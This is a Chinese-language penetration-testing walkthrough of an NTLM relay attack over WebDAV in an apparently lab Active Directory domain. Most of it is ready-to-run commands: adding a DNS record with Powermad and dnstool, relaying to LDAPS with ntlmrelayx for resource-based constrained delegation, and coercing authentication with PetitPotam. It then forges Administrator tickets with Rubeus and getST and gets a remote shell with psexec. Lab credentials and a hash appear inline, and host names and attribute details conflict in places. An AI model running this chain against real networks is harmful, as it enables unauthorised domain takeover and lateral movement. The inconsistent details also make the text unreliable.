NTLM Relay大家已经不再陌生了,很多时候我们通过NTLM Relay进行攻击时,会受到协议签名(ldap/s、smb等协议签名)的影响从而导致攻击失败,并且随着时间的流逝,我们想要遇到忽略签名的smb等服务也变得越来越困难了,我们有哪些方法来忽略服务端验证签名的影响从而达到我们relay攻击的目的呢?
我们可以寻找不支持签名的服务,来避免服务端的签名校验。若客户端不支持签名验证的话,服务端在与客户端通信时是不会强制要求签名认证的。因此我们可以使用HTTP服务中的WebDav来尝试Relay攻击了。
WebDAV是一组基于超文本传输协议的技术集合,有利于用户间协同编辑和管理存储在万维网服务器文档。通俗一点儿来说,WebDAV 就是一种互联网方法,应用此方法可以在服务器上划出一块存储空间,可以使用用户名和密码来控制访问,让用户可以直接存储、下载、编辑文件。
Windows通过WebClient服务实现WebDav,允许Windows程序通过WebDav来创建、读取以及写入服务器上的文件,并通过HTTP服务进行通信,在客户端访问WebDav时,若开启Windows身份验证机制,我们便可以通过域内凭证进行访问服务。
拿到域内权限后,通过GetWebDAVStatus.exe
探测内网中开放WebDav的服务器。
发现目标后,为了让Relay顺利进行,我们可以添加一份DNS A记录,从而使得WebDav通过默认凭据来对我们进行身份验证,由于在Windows当中,WebDav由WebClient服务实现,而WebClient服务仅对内网以及受信任站点中的目标来采用默认凭据进行身份验证。
此处我们使用PowerMad进行添加DNS A解析记录,此处我们添加解析记录,普通域用户也可添加,并非只有域管用户才可操作。
import-module .\invoke-DNSupdate.ps1
Invoke-DNSUpdate -DNSType A -DNSName evil.pentest.local -DNSData 10.0.10.128
紧接着使用ipconfig /flushdns
刷新dns本地缓存后可以看到使用ping命令即可成功解析我们所添加的记录
python3 dnstool.py -u pentest.local\\Sharp -p Admin#123 -r evil.pentest.local -d 10.0.10.128 --action add ws01.pentest.local
回到攻击机进行操作。
利用Impacket项目ntlmrelayx.py
执行攻击,指定LDAP协议进行身份验证,目标主机设置为域控,利用-delegate-access选项执行基于资源的约束委派攻击。
python3 ntlmrelayx.py -t ldaps://ws01 --delegate-access -smb2support
回到被我们控制的主机,使用PetitPotam 强制WebDav服务器认证我们的攻击机,此处不可使用ip进行强制认证,使用我们先前添加的DNS解析进行强制认证,此处的@
符号前为主机名,后为端口号。
PetitPotam.exe evil@80/evil.cnf 10.0.10.110
python3 PetitPotam.py -u sharp -p Admin#123 -d pentest.local evil@80/ad 10.0.10.110
这时候,回到攻击机查看可以发现,我们此时已经通过ws03$
的身份,创建了一个机器账户
这时我们回到域控查看WebDav服务器,可以发现msDS-KeyCredentialLink
属性已经被修改。
此时,我们便可以通过S4U扩展协议来申请访问WebDav目标机的ST票据了。
将密码转为hash,便于我们进行使用Rubeus进行申请票据
.\Rubeus.exe hash /domain:pentest.local /user:RUVEPAFW$ /password:'gm9wPzATZ<RT5Ei'
.\Rubeus.exe s4u /user:RUVEPAFW$ /rc4:4A5AD55249E75BB39F928EFB55A8A81B /impersonateuser:Administrator /msdsspn:host/ws03.pentest.local /altservice:cifs /nowrap /ptt
由于开启了PTT模块,此时我们缓存中已经加载了申请来的ST票据,拥有了访问WS03机器共享目录权限。
当然,我们也可以将申请到的kirbi票据除空格后解码base64,利用ticketConverter转为cacche格式,于域外利用
echo 'payload' | base64 -d > administrator.kirbi
python3 ticketConverter.py administrator.kirbi administrator.ccache
将申请到的票据加载到环境变量中,使用psexec登陆远程服务器。
export KRB5CCNAME=/opt/tools/impacket/examples/administrator.ccache
python3 psexec.py -no-pass -k ws03.pentest.local
参考委派,使用机器账户身份申请ST票据
python3 getST.py -dc-ip 10.0.10.111 pentest/RUVEPAFW\$ -spn cifs/ws03.pentest.local -impersonate administrator
https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient
https://www.hackingarticles.in/lateral-movement-webclient-workstation-takeover/